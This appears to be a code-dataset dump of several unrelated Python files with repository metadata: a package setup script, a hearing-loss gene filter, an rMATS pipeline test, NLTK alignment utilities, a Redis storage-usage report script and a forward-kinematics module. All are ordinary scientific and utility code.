0.000777

0.225166

1,661

52

141

31.942308

0.848485

0

0.25

0

0.123494

0

1

0.1

false

0.075

0.125

0.025

0.4

0

null

0

null

0

1

0

1

7cb5817de3a17f08a3afdfbe15a3bbd0fbe2d1d8

346

py

Python

setup.py

GeorgeDittmar/MarkovTextGenerator

df6a56e23051e1f263ba22889dc3b5d0dc03e370

[ "Apache-2.0" ]

1

2021-11-26T15:49:31.000Z

setup.py

GeorgeDittmar/Mimic

df6a56e23051e1f263ba22889dc3b5d0dc03e370

[ "Apache-2.0" ]

1

2019-06-24T17:30:41.000Z

2019-06-26T04:53:00.000Z

setup.py

GeorgeDittmar/MarkovTextGenerator

df6a56e23051e1f263ba22889dc3b5d0dc03e370

[ "Apache-2.0" ]

2

2020-05-04T07:57:17.000Z

2021-02-23T05:10:11.000Z

#!/usr/bin/env python from distutils.core import setup setup(name='Mimik', version='1.0', description='Python framework for markov models', author='George Dittmar', author_email='georgedittmar@gmail.com', url='https://www.python.org/sigs/distutils-sig/', packages=['distutils', 'distutils.command'], )

26.615385

55

0.65896

41

346

5.536585

0.829268

0

0.007092

0.184971

346

12

56

28.833333

0.797872

0.057803

0

0.452308

0.070769

0

1

0

true

0

0.111111

0

0.111111

0

null

0

null

0

1

0

1

7cb6009fc34f03127073ead641d466f1b2a5c978

2,313

py

Python

app/search/hot_eval/hl_reportable.py

don4apaev/anfisa

2e4bdd83c584c0000f037413ccc1f9067c07fa70

[ "Apache-2.0" ]

null

app/search/hot_eval/hl_reportable.py

don4apaev/anfisa

2e4bdd83c584c0000f037413ccc1f9067c07fa70

[ "Apache-2.0" ]

null

app/search/hot_eval/hl_reportable.py

don4apaev/anfisa

2e4bdd83c584c0000f037413ccc1f9067c07fa70

[ "Apache-2.0" ]

null

def evalRec(env, rec): """hl_reportable""" return (len(set(rec.Genes) & { 'ABHD12', 'ACTG1', 'ADGRV1', 'AIFM1', 'ATP6V1B1', 'BCS1L', 'BSND', 'CABP2', 'CACNA1D', 'CDC14A', 'CDH23', 'CEACAM16', 'CEP78', 'CHD7', 'CIB2', 'CISD2', 'CLDN14', 'CLIC5', 'CLPP', 'CLRN1', 'COCH', 'COL11A2', 'DIAPH1', 'DIAPH3', 'DMXL2', 'DNMT1', 'DSPP', 'EDN3', 'EDNRB', 'EPS8', 'EPS8L2', 'ESPN', 'ESRRB', 'EYA1', 'EYA4', 'GIPC3', 'GJB2', 'GJB6', 'GPSM2', 'GRHL2', 'GRXCR1', 'GSDME', 'HGF', 'HSD17B4', 'ILDR1', 'KCNE1', 'KCNQ1', 'KCNQ4', 'LARS2', 'LHFPL5', 'LOXHD1', 'LRTOMT', 'MARVELD2', 'MIR96', 'MITF', 'MSRB3', 'MT-RNR1', 'MT-TS1', 'MYH14', 'MYH9', 'MYO15A', 'MYO3A', 'MYO6', 'MYO7A', 'OSBPL2', 'OTOA', 'OTOF', 'OTOG', 'OTOGL', 'P2RX2', 'PAX3', 'PDZD7', 'PJVK', 'POU3F4', 'POU4F3', 'PRPS1', 'PTPRQ', 'RDX', 'RIPOR2', 'S1PR2', 'SERPINB6', 'SIX1', 'SLC17A8', 'SLC26A4', 'SLC52A2', 'SLITRK6', 'SMPX', 'SOX10', 'STRC', 'SYNE4', 'TBC1D24', 'TECTA', 'TIMM8A', 'TMC1', 'TMIE', 'TMPRSS3', 'TPRN', 'TRIOBP', 'TUBB4B', 'USH1C', 'USH1G', 'USH2A', 'WFS1', 'WHRN', } ) > 0)

21.027273

32

0.253783

118

2,313

4.966102

0.983051

0

0.118221

0.601383

2,313

110

33

21.027273

0.517354

0.00562

0

0.234858

0

1

0.009174

false

0

0.018349

0

null

0

1

0

null

0

1

7cc20f1f6a53dbfc79dbca785199d6d05868daf1

25,440

py

Python

tests/prep_post/test.py

Aslic/rmats_turbo_4.1.0

c651509a5d32799315054fa37a2210fab2aae5e5

[ "BSD-2-Clause-FreeBSD" ]

null

tests/prep_post/test.py

Aslic/rmats_turbo_4.1.0

c651509a5d32799315054fa37a2210fab2aae5e5

[ "BSD-2-Clause-FreeBSD" ]

null

tests/prep_post/test.py

Aslic/rmats_turbo_4.1.0

c651509a5d32799315054fa37a2210fab2aae5e5

[ "BSD-2-Clause-FreeBSD" ]

null

import glob import os.path import subprocess import sys import unittest import tests.bam import tests.base_test import tests.gtf import tests.output_parser as output_parser import tests.test_config import tests.util class Test(tests.base_test.BaseTest): def setUp(self): super().setUp() self._test_base_dir = tests.test_config.TEST_BASE_DIR self._test_dir = os.path.join(self._test_base_dir, 'prep_post') self._generated_input_dir = os.path.join(self._test_dir, 'generated_input') self._out_dir = os.path.join(self._test_dir, 'out') self._prep_1_tmp_dir = os.path.join(self._test_dir, 'tmp_prep_1') self._prep_2_tmp_dir = os.path.join(self._test_dir, 'tmp_prep_2') self._post_tmp_dir = os.path.join(self._test_dir, 'tmp_post') self._dup_input_bam_tmp_dir = os.path.join(self._test_dir, 'tmp_dup_input_bam') self._dup_prep_bam_tmp_dir = os.path.join(self._test_dir, 'tmp_dup_prep_bam') self._miss_input_bam_tmp_dir = os.path.join(self._test_dir, 'tmp_miss_input_bam') self._miss_prep_bam_tmp_dir = os.path.join(self._test_dir, 'tmp_miss_prep_bam') tests.util.recreate_dirs([ self._generated_input_dir, self._out_dir, self._prep_1_tmp_dir, self._prep_2_tmp_dir, self._post_tmp_dir, self._dup_input_bam_tmp_dir, self._dup_prep_bam_tmp_dir, self._miss_input_bam_tmp_dir, self._miss_prep_bam_tmp_dir, self._command_output_dir() ]) self._read_type = 'paired' self._read_length = 50 self._sample_1_bams_path = os.path.join(self._generated_input_dir, 'b1.txt') self._sample_2_bams_path = os.path.join(self._generated_input_dir, 'b2.txt') sample_1_bam_replicate_template = os.path.join( self._generated_input_dir, 'sample_1_rep_{}.bam') sample_2_bam_replicate_template = os.path.join( self._generated_input_dir, 'sample_2_rep_{}.bam') self._sample_1_bams = self._create_sample_1_bams( self._sample_1_bams_path, sample_1_bam_replicate_template) self._sample_2_bams = self._create_sample_2_bams( self._sample_2_bams_path, sample_2_bam_replicate_template) self._gtf_path = os.path.join(self._generated_input_dir, 'test.gtf') self._gtf = self._create_gtf(self._gtf_path) self._sub_steps = [ 'prep_1', 'inte_1_fail', 'inte_1_pass', 'prep_2', 'inte_2_fail', 'inte_2_pass', 'post', 'duplicate_input_bam', 'duplicate_prep_bam', 'missing_input_bam', 'missing_prep_bam', ] self._sub_step = None def test(self): for sub_step in self._sub_steps: self._sub_step = sub_step self._setup_sub_step() self._run_test() def _command_output_dir(self): return os.path.join(self._test_dir, 'command_output') def _rmats_arguments(self): arguments = [ '--gtf', self._gtf_path, '--od', self._out_dir, '-t', self._read_type, '--readLength', str(self._read_length), ] if self._sub_step == 'prep_1': arguments.extend([ '--tmp', self._prep_1_tmp_dir, '--b1', self._sample_1_bams_path, '--task', 'prep', ]) elif self._sub_step == 'inte_1_fail': arguments.extend([ '--tmp', self._post_tmp_dir, '--b1', self._sample_1_bams_path, '--b2', self._sample_2_bams_path, '--task', 'inte', ]) elif self._sub_step == 'inte_1_pass': arguments.extend([ '--tmp', self._post_tmp_dir, '--b1', self._sample_1_bams_path, '--task', 'inte', '--statoff', ]) elif self._sub_step == 'prep_2': arguments.extend([ '--tmp', self._prep_2_tmp_dir, '--b1', self._sample_2_bams_path, '--task', 'prep', ]) elif self._sub_step == 'inte_2_fail': arguments.extend([ '--tmp', self._post_tmp_dir, '--b1', self._sample_2_bams_path, '--task', 'inte', '--statoff', ]) elif self._sub_step == 'inte_2_pass': arguments.extend([ '--tmp', self._post_tmp_dir, '--b1', self._sample_1_bams_path, '--b2', self._sample_2_bams_path, '--task', 'inte', ]) elif self._sub_step == 'post': arguments.extend([ '--tmp', self._post_tmp_dir, '--b1', self._sample_1_bams_path, '--b2', self._sample_2_bams_path, '--task', 'post', ]) elif self._sub_step == 'duplicate_input_bam': arguments.extend([ '--tmp', self._dup_input_bam_tmp_dir, '--b1', self._dup_input_bam_path, '--task', 'post', '--statoff', ]) elif self._sub_step == 'duplicate_prep_bam': arguments.extend([ '--tmp', self._dup_prep_bam_tmp_dir, '--b1', self._dup_prep_bam_path, '--task', 'post', '--statoff', ]) elif self._sub_step == 'missing_input_bam': arguments.extend([ '--tmp', self._miss_input_bam_tmp_dir, '--b1', self._miss_input_bam_path, '--task', 'post', '--statoff', ]) elif self._sub_step == 'missing_prep_bam': arguments.extend([ '--tmp', self._miss_prep_bam_tmp_dir, '--b1', self._miss_prep_bam_path, '--task', 'post', '--statoff', ]) return arguments def _setup_sub_step(self): if self._sub_step == 'duplicate_input_bam': self._setup_dup_input_bam() elif self._sub_step == 'duplicate_prep_bam': self._setup_dup_prep_bam() elif self._sub_step == 'missing_input_bam': self._setup_miss_input_bam() elif self._sub_step == 'missing_prep_bam': self._setup_miss_prep_bam() def _setup_dup_input_bam(self): self._dup_input_bam_path = os.path.join(self._generated_input_dir, 'dup_input.txt') bams = self._sample_1_bams + [self._sample_1_bams[0]] self._write_bams(bams, self._dup_input_bam_path) self._cp_with_prefix('prep_1', self._prep_1_tmp_dir, self._dup_input_bam_tmp_dir) def _setup_dup_prep_bam(self): self._dup_prep_bam_path = os.path.join(self._generated_input_dir, 'dup_prep.txt') bams = self._sample_1_bams self._write_bams(bams, self._dup_prep_bam_path) self._cp_with_prefix('prep_1', self._prep_1_tmp_dir, self._dup_prep_bam_tmp_dir) self._cp_with_prefix('prep_1_again', self._prep_1_tmp_dir, self._dup_prep_bam_tmp_dir) def _setup_miss_input_bam(self): self._miss_input_bam_path = os.path.join(self._generated_input_dir, 'miss_input.txt') bams = [self._sample_1_bams[0]] self._write_bams(bams, self._miss_input_bam_path) self._cp_with_prefix('prep_1', self._prep_1_tmp_dir, self._miss_input_bam_tmp_dir) def _setup_miss_prep_bam(self): self._miss_prep_bam_path = os.path.join(self._generated_input_dir, 'miss_prep.txt') bams = self._sample_1_bams + self._sample_2_bams self._write_bams(bams, self._miss_prep_bam_path) self._cp_with_prefix('prep_1', self._prep_1_tmp_dir, self._miss_prep_bam_tmp_dir) def _create_gtf(self, gtf_path): gtf = tests.gtf.GTF() gtf.path = gtf_path transcript_1 = tests.gtf.Transcript() transcript_1.chromosome = '1' transcript_1.strand = '+' transcript_1.gene_id = tests.util.gene_id_str(1) transcript_1.gene_name = tests.util.gene_name_str(1) transcript_1.transcript_id = tests.util.transcript_id_str(1) transcript_1.exons = [(1, 100), (201, 300), (401, 500)] gtf.transcripts = [transcript_1] error = gtf.write() self.assertFalse(error) return gtf def _create_sample_1_bams(self, sample_1_bams_path, sample_1_replicate_template): rep_1_bam = tests.bam.BAM() rep_1_bam.path = sample_1_replicate_template.format(1) rep_2_bam = tests.bam.BAM() rep_2_bam.path = sample_1_replicate_template.format(2) sample_1_bams = [rep_1_bam, rep_2_bam] rep_1_read_1 = tests.bam.Read() rep_1_read_1.ref_seq_name = '1' # chromosome rep_1_read_1.ref_seq_len = 1000 # chromosome length rep_1_read_1.template_name = tests.util.template_name_str([1, 1]) rep_1_read_2 = tests.bam.Read() error = tests.bam.set_read_pair_from_intervals(rep_1_read_1, rep_1_read_2, [[76, 100], [201, 300]], [[401, 475]], self._read_length) self.assertFalse(error) rep_1_bam.reads = [rep_1_read_1, rep_1_read_2] rep_2_read_1 = tests.bam.Read() rep_2_read_1.ref_seq_name = '1' # chromosome rep_2_read_1.ref_seq_len = 1000 # chromosome length rep_2_read_1.template_name = tests.util.template_name_str([1, 2]) rep_2_read_2 = tests.bam.Read() error = tests.bam.set_read_pair_from_intervals( rep_2_read_1, rep_2_read_2, [[26, 100]], [[201, 300], [401, 425]], self._read_length) self.assertFalse(error) rep_2_bam.reads = [rep_2_read_1, rep_2_read_2] self._write_bams(sample_1_bams, sample_1_bams_path) return sample_1_bams def _create_sample_2_bams(self, sample_2_bams_path, sample_2_replicate_template): rep_1_bam = tests.bam.BAM() rep_1_bam.path = sample_2_replicate_template.format(1) rep_2_bam = tests.bam.BAM() rep_2_bam.path = sample_2_replicate_template.format(2) sample_2_bams = [rep_1_bam, rep_2_bam] rep_1_read_1 = tests.bam.Read() rep_1_read_1.ref_seq_name = '1' # chromosome rep_1_read_1.ref_seq_len = 1000 # chromosome length rep_1_read_1.template_name = tests.util.template_name_str([2, 1]) rep_1_read_2 = tests.bam.Read() error = tests.bam.set_read_pair_from_intervals(rep_1_read_1, rep_1_read_2, [[76, 100], [401, 500]], [[401, 475]], self._read_length) self.assertFalse(error) rep_1_bam.reads = [rep_1_read_1, rep_1_read_2] rep_2_read_1 = tests.bam.Read() rep_2_read_1.ref_seq_name = '1' # chromosome rep_2_read_1.ref_seq_len = 1000 # chromosome length rep_2_read_1.template_name = tests.util.template_name_str([2, 2]) rep_2_read_2 = tests.bam.Read() error = tests.bam.set_read_pair_from_intervals(rep_2_read_1, rep_2_read_2, [[26, 100]], [[1, 100], [401, 425]], self._read_length) self.assertFalse(error) rep_2_bam.reads = [rep_2_read_1, rep_2_read_2] self._write_bams(sample_2_bams, sample_2_bams_path) return sample_2_bams def _cp_with_prefix(self, prefix, source_dir, dest_dir): source_paths = self._get_dot_rmats_paths(source_dir) command = [ sys.executable, tests.test_config.CP_WITH_PREFIX, prefix, dest_dir ] command.extend(source_paths) subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True) def _check_results(self): if self._sub_step == 'prep_1': self._check_results_prep_1() elif self._sub_step == 'inte_1_fail': self._check_results_inte_1_fail() elif self._sub_step == 'inte_1_pass': self._check_results_inte_1_pass() elif self._sub_step == 'prep_2': self._check_results_prep_2() elif self._sub_step == 'inte_2_fail': self._check_results_inte_2_fail() elif self._sub_step == 'inte_2_pass': self._check_results_inte_2_pass() elif self._sub_step == 'post': self._check_results_post() elif self._sub_step == 'duplicate_input_bam': self._check_results_dup_input_bam() elif self._sub_step == 'duplicate_prep_bam': self._check_results_dup_prep_bam() elif self._sub_step == 'missing_input_bam': self._check_results_miss_input_bam() elif self._sub_step == 'missing_prep_bam': self._check_results_miss_prep_bam() else: self.fail('unexpected sub_step: {}'.format(self._sub_step)) def _get_dot_rmats_paths(self, tmp_dir): dot_rmats_file_paths = glob.glob(os.path.join(tmp_dir, '*.rmats')) # filenames begin with a timestamp used for alphanumeric sort return sorted(dot_rmats_file_paths) def _check_results_prep_1(self): self._check_no_error_results() command_stdout_file_name = self._get_stdout_file_name() with open(command_stdout_file_name, 'rt') as out_f_h: out_lines = out_f_h.readlines() tests.util.assert_no_line_has(self, out_lines, 'Processing count files') test_gene_id = tests.util.gene_id_str(1) quoted_test_gene_id = tests.util.double_quote(test_gene_id) dot_rmats_paths = self._get_dot_rmats_paths(self._prep_1_tmp_dir) self.assertEqual(len(dot_rmats_paths), 2) for dot_rmats_i in range(2): dot_rmats_contents, error = output_parser.parse_dot_rmats( dot_rmats_paths[dot_rmats_i]) self.assertFalse(error) self.assertEqual(dot_rmats_contents['bams'], [self._sample_1_bams[dot_rmats_i].path]) self.assertEqual(dot_rmats_contents['read_length'], self._read_length) novel_juncs = dot_rmats_contents['novel_juncs'] self.assertEqual(novel_juncs, [dict()]) exons = dot_rmats_contents['exons'] if dot_rmats_i == 0: self.assertEqual(exons, [{ quoted_test_gene_id: [{ 'start_box': [401, 499], 'end_box': [401, 499], 'counts': [1, 0] }] }]) else: self.assertEqual(exons, [{ quoted_test_gene_id: [{ 'start_box': [1, 99], 'end_box': [1, 99], 'counts': [1, 0] }] }]) multis = dot_rmats_contents['multis'] if dot_rmats_i == 0: self.assertEqual(multis, [{ quoted_test_gene_id: [{ 'junction_pairs': [[1, 1], [100, 200], [299, 299]], 'count': 1 }] }]) else: self.assertEqual(multis, [{ quoted_test_gene_id: [{ 'junction_pairs': [[201, 201], [300, 400], [499, 499]], 'count': 1 }] }]) self._cp_with_prefix('prep_1_', self._prep_1_tmp_dir, self._post_tmp_dir) def _check_results_prep_2(self): self._check_no_error_results() command_stdout_file_name = self._get_stdout_file_name() with open(command_stdout_file_name, 'rt') as out_f_h: out_lines = out_f_h.readlines() tests.util.assert_no_line_has(self, out_lines, 'Processing count files') test_gene_id = tests.util.gene_id_str(1) quoted_test_gene_id = tests.util.double_quote(test_gene_id) dot_rmats_paths = self._get_dot_rmats_paths(self._prep_2_tmp_dir) self.assertEqual(len(dot_rmats_paths), 2) for dot_rmats_i in range(2): dot_rmats_contents, error = output_parser.parse_dot_rmats( dot_rmats_paths[dot_rmats_i]) self.assertFalse(error) self.assertEqual(dot_rmats_contents['bams'], [self._sample_2_bams[dot_rmats_i].path]) self.assertEqual(dot_rmats_contents['read_length'], self._read_length) novel_juncs = dot_rmats_contents['novel_juncs'] self.assertEqual(novel_juncs, [{quoted_test_gene_id: [[0, 0, 2]]}]) exons = dot_rmats_contents['exons'] if dot_rmats_i == 0: self.assertEqual(exons, [{ quoted_test_gene_id: [{ 'start_box': [401, 499], 'end_box': [401, 499], 'counts': [1, 0] }] }]) else: self.assertEqual(exons, [{ quoted_test_gene_id: [{ 'start_box': [1, 99], 'end_box': [1, 99], 'counts': [1, 0] }] }]) multis = dot_rmats_contents['multis'] if dot_rmats_i == 0: self.assertEqual(multis, [{ quoted_test_gene_id: [{ 'junction_pairs': [[1, 1], [100, 400], [499, 499]], 'count': 1 }] }]) else: self.assertEqual(multis, [{ quoted_test_gene_id: [{ 'junction_pairs': [[1, 1], [100, 400], [499, 499]], 'count': 1 }] }]) self._cp_with_prefix('prep_2_', self._prep_2_tmp_dir, self._post_tmp_dir) def _check_results_inte_1_fail(self): self.assertNotEqual(self._rmats_return_code, 0) command_stderr_file_name = self._get_stderr_file_name() with open(command_stderr_file_name, 'rt') as err_f_h: err_lines = err_f_h.readlines() tests.util.assert_some_line_has( self, err_lines, 'input bam files with no associated prep output') def _check_results_inte_1_pass(self): self._check_no_error_results() def _check_results_inte_2_fail(self): self.assertNotEqual(self._rmats_return_code, 0) command_stderr_file_name = self._get_stderr_file_name() with open(command_stderr_file_name, 'rt') as err_f_h: err_lines = err_f_h.readlines() tests.util.assert_some_line_has( self, err_lines, 'bam files not in input but associated with prep output') def _check_results_inte_2_pass(self): self._check_no_error_results() def _check_results_post(self): self._check_no_error_results() command_stdout_file_name = self._get_stdout_file_name() with open(command_stdout_file_name, 'rt') as out_f_h: out_lines = out_f_h.readlines() tests.util.assert_some_line_has(self, out_lines, 'Processing count files') from_gtf_se_path = os.path.join(self._out_dir, 'fromGTF.SE.txt') from_gtf_se_header, from_gtf_se_rows, error = output_parser.parse_from_gtf( from_gtf_se_path) self.assertFalse(error) self.assertEqual(len(from_gtf_se_rows), 1) from_gtf_se_row = from_gtf_se_rows[0] self.assertEqual(from_gtf_se_row['GeneID'], tests.util.double_quote(tests.util.gene_id_str(1))) self.assertEqual(from_gtf_se_row['exonStart_0base'], '200') self.assertEqual(from_gtf_se_row['exonEnd'], '300') jc_raw_se_path = os.path.join(self._out_dir, 'JC.raw.input.SE.txt') jc_raw_se_header, jc_raw_se_rows, error = output_parser.parse_jc_raw( jc_raw_se_path) self.assertFalse(error) self.assertEqual(len(jc_raw_se_rows), 1) jc_raw_se_row = jc_raw_se_rows[0] self.assertEqual(jc_raw_se_row['ID'], from_gtf_se_row['ID']) self.assertEqual(jc_raw_se_row['IJC_SAMPLE_1'], '1,1') self.assertEqual(jc_raw_se_row['SJC_SAMPLE_1'], '0,0') self.assertEqual(jc_raw_se_row['IJC_SAMPLE_2'], '0,0') self.assertEqual(jc_raw_se_row['SJC_SAMPLE_2'], '1,1') se_mats_jc_path = os.path.join(self._out_dir, 'SE.MATS.JC.txt') se_mats_jc_header, se_mats_jc_rows, error = output_parser.parse_mats_jc( se_mats_jc_path) self.assertFalse(error) self._check_se_mats_jc_header(se_mats_jc_header) self.assertEqual(len(se_mats_jc_rows), 1) se_mats_jc_row = se_mats_jc_rows[0] pvalue = float(se_mats_jc_row['PValue']) tests.util.assert_within_bounds(self, pvalue, 0, 1) fdr = float(se_mats_jc_row['FDR']) tests.util.assert_within_bounds(self, fdr, 0, 1) inc_level_1_splits = se_mats_jc_row['IncLevel1'].split(',') self.assertEqual(len(inc_level_1_splits), 2) self.assertAlmostEqual(float(inc_level_1_splits[0]), 1) self.assertAlmostEqual(float(inc_level_1_splits[1]), 1) inc_level_2_splits = se_mats_jc_row['IncLevel2'].split(',') self.assertEqual(len(inc_level_2_splits), 2) self.assertAlmostEqual(float(inc_level_2_splits[0]), 0) self.assertAlmostEqual(float(inc_level_2_splits[1]), 0) self.assertAlmostEqual(float(se_mats_jc_row['IncLevelDifference']), 1) def _check_results_dup_input_bam(self): self.assertNotEqual(self._rmats_return_code, 0) command_stderr_file_name = self._get_stderr_file_name() with open(command_stderr_file_name, 'rt') as err_f_h: err_lines = err_f_h.readlines() dup_bam_path = self._sample_1_bams[0].path expected_error = '{} given 2 times'.format(dup_bam_path) tests.util.assert_some_line_has(self, err_lines, expected_error) def _check_results_dup_prep_bam(self): self.assertNotEqual(self._rmats_return_code, 0) command_stderr_file_name = self._get_stderr_file_name() with open(command_stderr_file_name, 'rt') as err_f_h: err_lines = err_f_h.readlines() for bam in self._sample_1_bams: dup_bam_path = bam.path expected_error = '{} found 2 times in .rmats'.format(dup_bam_path) tests.util.assert_some_line_has(self, err_lines, expected_error) def _check_results_miss_input_bam(self): self._check_no_error_results() def _check_results_miss_prep_bam(self): self.assertNotEqual(self._rmats_return_code, 0) command_stderr_file_name = self._get_stderr_file_name() with open(command_stderr_file_name, 'rt') as err_f_h: err_lines = err_f_h.readlines() for bam in self._sample_2_bams: miss_bam_path = bam.path expected_error = '{} not found in .rmats'.format(miss_bam_path) tests.util.assert_some_line_has(self, err_lines, expected_error) if __name__ == '__main__': unittest.main(verbosity=2)

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false

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0.078153

0

null

0

1

0

null

0

1

7cc57c915f6cace046e0bbe739957206038f009f

1,527

py

Python

nltk/align/util.py

kruskod/nltk

dba7b5431b1d57a75d50e048961c1a203b98c3da

[ "Apache-2.0" ]

1

2015-11-25T00:47:58.000Z

nltk/align/util.py

kruskod/nltk

dba7b5431b1d57a75d50e048961c1a203b98c3da

[ "Apache-2.0" ]

null

nltk/align/util.py

kruskod/nltk

dba7b5431b1d57a75d50e048961c1a203b98c3da

[ "Apache-2.0" ]

null

# Natural Language Toolkit: Aligner Utilities # # Copyright (C) 2001-2015 NLTK Project # Author: Anna Garbar # URL: <http://www.nltk.org/> # For license information, see LICENSE.TXT from nltk.align.api import Alignment def pharaohtext2tuples(pharaoh_text): """ Converts pharaoh text format into an Alignment object (a list of tuples). >>> pharaoh_text = '0-0 2-1 9-2 21-3 10-4 7-5' >>> pharaohtext2tuples(pharaoh_text) Alignment([(0, 0), (2, 1), (7, 5), (9, 2), (10, 4), (21, 3)]) :type pharaoh_text: str :param pharaoh_text: the word alignment outputs in the pharaoh output format :rtype: Alignment :return: An Alignment object that contains a list of integer tuples """ # Converts integers to strings for a word alignment point. list_of_tuples = [tuple(map(int,a.split('-'))) for a in pharaoh_text.split()] return Alignment(list_of_tuples) def alignment2pharaohtext(alignment): """ Converts an Alignment object (a list of tuples) into pharaoh text format. >>> alignment = [(0, 0), (2, 1), (9, 2), (21, 3), (10, 4), (7, 5)] >>> alignment2pharaohtext(alignment) '0-0 2-1 9-2 21-3 10-4 7-5' :type alignment: Alignment :param alignment: An Alignment object that contains a list of integer tuples :rtype: str :return: the word alignment outputs in the pharaoh output format """ pharaoh_text = ' '.join(str(i) + "-" + str(j) for i,j in alignment) return pharaoh_text

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null

0

null

0

1

0

1

7cda6328ac58b61f05923cca8623aa6b42f94561

3,591

py

Python

lib/reindex/reporting.py

scality/utapi

29475f1b9aa25cf3c883262bfb6f4573f846a5b7

[ "Apache-2.0" ]

13

2016-10-07T20:25:11.000Z

2022-02-23T06:33:59.000Z

lib/reindex/reporting.py

scality/utapi

29475f1b9aa25cf3c883262bfb6f4573f846a5b7

[ "Apache-2.0" ]

427

2016-08-17T18:03:32.000Z

2022-03-31T10:46:12.000Z

lib/reindex/reporting.py

scality/utapi

29475f1b9aa25cf3c883262bfb6f4573f846a5b7

[ "Apache-2.0" ]

5

2017-04-25T21:13:03.000Z

2018-01-23T00:21:06.000Z

import requests import redis import json import ast import sys import time import urllib import re import sys from threading import Thread from concurrent.futures import ThreadPoolExecutor import argparse def get_options(): parser = argparse.ArgumentParser() parser.add_argument("-i", "--sentinel-ip", default='127.0.0.1', help="Sentinel IP") parser.add_argument("-p", "--sentinel-port", default="16379", help="Sentinel Port") parser.add_argument("-v", "--redis-password", default=None, help="Redis AUTH Password") parser.add_argument("-n", "--sentinel-cluster-name", default='scality-s3', help="Redis cluster name") parser.add_argument("-b", "--bucketd-addr", default='http://127.0.0.1:9000', help="URL of the bucketd server") return parser.parse_args() def safe_print(content): print("{0}".format(content)) class askRedis(): def __init__(self, ip="127.0.0.1", port="16379", sentinel_cluster_name="scality-s3", password=None): self._password = password r = redis.Redis(host=ip, port=port, db=0, password=password) self._ip, self._port = r.sentinel_get_master_addr_by_name(sentinel_cluster_name) def read(self, resource, name): r = redis.Redis(host=self._ip, port=self._port, db=0, password=self._password) res = 's3:%s:%s:storageUtilized:counter' % (resource, name) total_size = r.get(res) res = 's3:%s:%s:numberOfObjects:counter' % (resource, name) files = r.get(res) try: return {'files': int(files), "total_size": int(total_size)} except Exception as e: return {'files': 0, "total_size": 0} class S3ListBuckets(): def __init__(self, host='127.0.0.1:9000'): self.bucketd_host = host def run(self): docs = [] url = "%s/default/bucket/users..bucket" % self.bucketd_host session = requests.Session() r = session.get(url, timeout=30) if r.status_code == 200: payload = json.loads(r.text) for keys in payload['Contents']: key = keys["key"] r1 = re.match("(\w+)..\|..(\w+.*)", key) docs.append(r1.groups()) return docs return(self.userid, self.bucket, user, files, total_size) if __name__ == '__main__': options = get_options() redis_conf = dict( ip=options.sentinel_ip, port=options.sentinel_port, sentinel_cluster_name=options.sentinel_cluster_name, password=options.redis_password ) P = S3ListBuckets(options.bucketd_addr) listbuckets = P.run() userids = set([x for x, y in listbuckets]) executor = ThreadPoolExecutor(max_workers=1) for userid, bucket in listbuckets: U = askRedis(**redis_conf) data = U.read('buckets', bucket) content = "Account:%s|Bucket:%s|NumberOFfiles:%s|StorageCapacity:%s " % ( userid, bucket, data["files"], data["total_size"]) executor.submit(safe_print, content) data = U.read('buckets', 'mpuShadowBucket'+bucket) content = "Account:%s|Bucket:%s|NumberOFfiles:%s|StorageCapacity:%s " % ( userid, 'mpuShadowBucket'+bucket, data["files"], data["total_size"]) executor.submit(safe_print, content) executor.submit(safe_print, "") for userid in sorted(userids): U = askRedis(**redis_conf) data = U.read('accounts', userid) content = "Account:%s|NumberOFfiles:%s|StorageCapacity:%s " % ( userid, data["files"], data["total_size"]) executor.submit(safe_print, content)

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0

null

0

null

0

1

0

1

7cdd5ddf7b7d2568fd208a60927251ae8e3ac857

10,399

py

Python

retargeting/models/Kinematics.py

yujiatay/deep-motion-editing

0a6fc5fd20059c5074f68a452cd49cf6ede36ea8

[ "BSD-2-Clause" ]

1

2021-07-06T14:34:12.000Z

retargeting/models/Kinematics.py

bmd080/deep-motion-editing

19604abdc0ead66f8c82d9211b8c5862c6a68089

[ "BSD-2-Clause" ]

null

retargeting/models/Kinematics.py

bmd080/deep-motion-editing

19604abdc0ead66f8c82d9211b8c5862c6a68089

[ "BSD-2-Clause" ]

null

import torch import torch.nn as nn import numpy as np import math class ForwardKinematics: def __init__(self, args, edges): self.topology = [-1] * (len(edges) + 1) self.rotation_map = [] for i, edge in enumerate(edges): self.topology[edge[1]] = edge[0] self.rotation_map.append(edge[1]) self.world = args.fk_world self.pos_repr = args.pos_repr self.quater = args.rotation == 'quaternion' def forward_from_raw(self, raw, offset, world=None, quater=None): if world is None: world = self.world if quater is None: quater = self.quater if self.pos_repr == '3d': position = raw[:, -3:, :] rotation = raw[:, :-3, :] elif self.pos_repr == '4d': raise Exception('Not support') if quater: rotation = rotation.reshape((rotation.shape[0], -1, 4, rotation.shape[-1])) identity = torch.tensor((1, 0, 0, 0), dtype=torch.float, device=raw.device) else: rotation = rotation.reshape((rotation.shape[0], -1, 3, rotation.shape[-1])) identity = torch.zeros((3, ), dtype=torch.float, device=raw.device) identity = identity.reshape((1, 1, -1, 1)) new_shape = list(rotation.shape) new_shape[1] += 1 new_shape[2] = 1 rotation_final = identity.repeat(new_shape) for i, j in enumerate(self.rotation_map): rotation_final[:, j, :, :] = rotation[:, i, :, :] return self.forward(rotation_final, position, offset, world=world, quater=quater) ''' rotation should have shape batch_size * Joint_num * (3/4) * Time position should have shape batch_size * 3 * Time offset should have shape batch_size * Joint_num * 3 output have shape batch_size * Time * Joint_num * 3 ''' def forward(self, rotation: torch.Tensor, position: torch.Tensor, offset: torch.Tensor, order='xyz', quater=False, world=True): if not quater and rotation.shape[-2] != 3: raise Exception('Unexpected shape of rotation') if quater and rotation.shape[-2] != 4: raise Exception('Unexpected shape of rotation') rotation = rotation.permute(0, 3, 1, 2) position = position.permute(0, 2, 1) result = torch.empty(rotation.shape[:-1] + (3, ), device=position.device) norm = torch.norm(rotation, dim=-1, keepdim=True) #norm[norm < 1e-10] = 1 rotation = rotation / norm if quater: transform = self.transform_from_quaternion(rotation) else: transform = self.transform_from_euler(rotation, order) offset = offset.reshape((-1, 1, offset.shape[-2], offset.shape[-1], 1)) result[..., 0, :] = position for i, pi in enumerate(self.topology): if pi == -1: assert i == 0 continue transform[..., i, :, :] = torch.matmul(transform[..., pi, :, :], transform[..., i, :, :]) result[..., i, :] = torch.matmul(transform[..., i, :, :], offset[..., i, :, :]).squeeze() if world: result[..., i, :] += result[..., pi, :] return result def from_local_to_world(self, res: torch.Tensor): res = res.clone() for i, pi in enumerate(self.topology): if pi == 0 or pi == -1: continue res[..., i, :] += res[..., pi, :] return res 